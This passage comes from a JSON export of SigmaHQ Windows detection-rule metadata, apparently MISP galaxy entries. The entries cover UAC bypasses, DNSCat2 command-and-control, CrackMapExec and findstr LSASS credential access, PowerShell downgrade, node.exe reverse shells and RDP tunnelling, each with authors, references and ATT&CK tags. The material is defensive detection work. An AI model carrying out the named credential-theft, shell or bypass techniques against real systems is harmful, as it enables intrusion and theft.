\"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", "meta": { "author": "elhoim", "creation_date": "2022/05/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.echotrail.io/insights/search/regsvr32.exe", "https://redcanary.com/blog/intelligence-insights-april-2022/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", "value": "Regsvr32 Spawning Explorer" }, { "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_high_integrity_sdclt.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", "value": "High Integrity Sdclt Process" }, { "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", "meta": { "author": "Cian Heasley", "creation_date": "2020/08/08", "falsepositive": [ "Other powershell scripts that call nslookup.exe" ], "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", "https://github.com/lukebaggett/dnscat2-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" ], "tags": [ "attack.command_and_control", "attack.t1071", "attack.t1071.004", "attack.t1001.003", "attack.t1041" ] }, "related": [ { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", "value": "DNSCat2 Powershell Implementation Detection Via Process Creation" }, { "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", "meta": { "author": "Max Altgelt", "creation_date": "2022/04/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_creative_cloud_node_abuse.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mttaggart/status/1511804863293784064", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", "value": "Node Process Executions" }, { "description": "Detects WMIC executing suspicious or recon commands", "meta": { "author": "Michael Haag, Florian Roth, juju4, oscd.community", "creation_date": "2019/01/16", "falsepositive": [ "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" ], "filename": "proc_creation_win_susp_wmic_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" ], "tags": [ "attack.execution", "attack.t1047", "car.2016-03-002" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", "value": "Suspicious WMIC Execution" }, { "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_schtasks_change.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", "value": "Suspicious Modification Of Scheduled Tasks" }, { "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "meta": { "author": "Harish Segar (rule)", "creation_date": "2020/03/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_downgrade_attack.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade-", "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b3512211-c67e-4707-bedc-66efc7848863", "value": "Potential PowerShell Downgrade Attack" }, { "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", "meta": { "author": "Florian Roth", "creation_date": "2022/03/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_crackmapexec_patterns.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", "value": "CrackMapExec Process Patterns" }, { "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", "meta": { "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", "creation_date": "2020/07/03", "falsepositive": [ "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", "When cmd.exe and xcopy.exe are called directly", "When the command contains the keywords but not in the correct order" ], "filename": "proc_creation_win_susp_copy_system32.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", "value": "Suspicious Copy From or To System32" }, { "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", "meta": { "author": "Sreeman", "creation_date": "2020/04/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" ], "tags": [ "attack.t1211", "attack.t1059", "attack.defense_evasion", "attack.persistence" ] }, "related": [ { "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", "value": "Writing Of Malicious Files To The Fonts Folder" }, { "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", "value": "Invoke-Obfuscation Via Use MSHTA" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/11", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_logmein.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", "value": "Use of LogMeIn Remote Access Software" }, { "description": "Detects powershell scripts that import modules from suspicious directories", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_import_module_susp_dirs.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_module_susp_dirs.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c31364f7-8be6-4b77-8483-dd2b5a7b69a3", "value": "Import PowerShell Modules From Suspicious Directories - ProcCreation" }, { "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "meta": { "author": "frack113", "creation_date": "2021/07/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_winzip.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", "value": "Compress Data and Lock With Password for Exfiltration With WINZIP" }, { "description": "Marks a file as a system file using the attrib.exe utility", "meta": { "author": "frack113", "creation_date": "2022/02/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_attrib_system.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", "value": "Set Windows System File with Attrib" }, { "description": "Detects automated lateral movement by Turla group", "meta": { "author": "Markus Neis", "creation_date": "2017/11/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_turla_commands_critical.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securelist.com/the-epic-turla-operation/65545/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" ], "tags": [ "attack.g0010", "attack.execution", "attack.t1059", "attack.lateral_movement", "attack.t1021.002", "attack.discovery", "attack.t1083", "attack.t1135" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", "value": "Turla Group Lateral Movement" }, { "description": "Extract data from cab file and hide it in an alternate data stream", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_extrac32_ads.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", "value": "Suspicious Extrac32 Alternate Data Stream Execution" }, { "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Other tools with the same command line flag combination", "Legitimate uses as part of Visual Studio development" ], "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1463526834918854661", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", "value": "NodejsTools PressAnyKey Lolbin" }, { "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL" }, { "description": "Detects audio capture via PowerShell Cmdlet.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate audio capture by legitimate user." ], "filename": "proc_creation_win_powershell_audio_capture.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" ], "tags": [ "attack.collection", "attack.t1123" ] }, "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", "value": "Audio Capture via PowerShell" }, { "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_node_abuse.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nodejs.org/api/cli.html", "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", "value": "Node.exe Process Abuse" }, { "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/01/09", "falsepositive": [ "Administrative scripts" ], "filename": "proc_creation_win_susp_ps_appdata.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", "https://twitter.com/JohnLaTwC/status/1082851155481288706", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", "value": "PowerShell Script Run in AppData" }, { "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", "value": "UAC Bypass Using ChangePK and SLUI" }, { "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", "meta": { "author": "Florian Roth", "creation_date": "2017/11/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2017_11882.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.t1204.002", "attack.initial_access", "attack.t1566.001" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", "value": "Droppers Exploiting CVE-2017-11882" }, { "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", "meta": { "author": "frack113", "creation_date": "2022/03/02", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", "value": "Fsutil Behavior Set SymlinkEvaluation" }, { "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", "meta": { "author": "Florian Roth", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_findstr_lsass.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1552.006" ] }, "related": [ { "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", "value": "Findstr LSASS" }, { "description": "Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sharp_ldap_monitor.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/p0dalirius/LDAPmonitor", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_ldap_monitor.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "9f8fc146-1d1a-4dbf-b8fd-dfae15e08541", "value": "SharpLDAPmonitor Execution" }, { "description": "Detects use of executionpolicy option to set insecure policies", "meta": { "author": "frack113", "creation_date": "2021/11/01", "falsepositive": [ "Administrator script" ], "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2604", "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", "value": "Change PowerShell Policies to an Insecure Level" }, { "description": "This rule detects the execution of Run Once task as configured in the registry", "meta": { "author": "Avneet Singh @v3t0_, oscd.community, Christopher Peacock @SecurePeacock (updated)", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_runonce_execution.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/990717080805789697", "https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA", "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", "value": "Run Once Task Execution as Configured in Registry" }, { "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", "meta": { "author": "Florian Roth, oscd.community", "creation_date": "2019/01/29", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_port_fwd_3389.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" ], "tags": [ "attack.lateral_movement", "attack.defense_evasion", "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", "value": "Netsh RDP Port 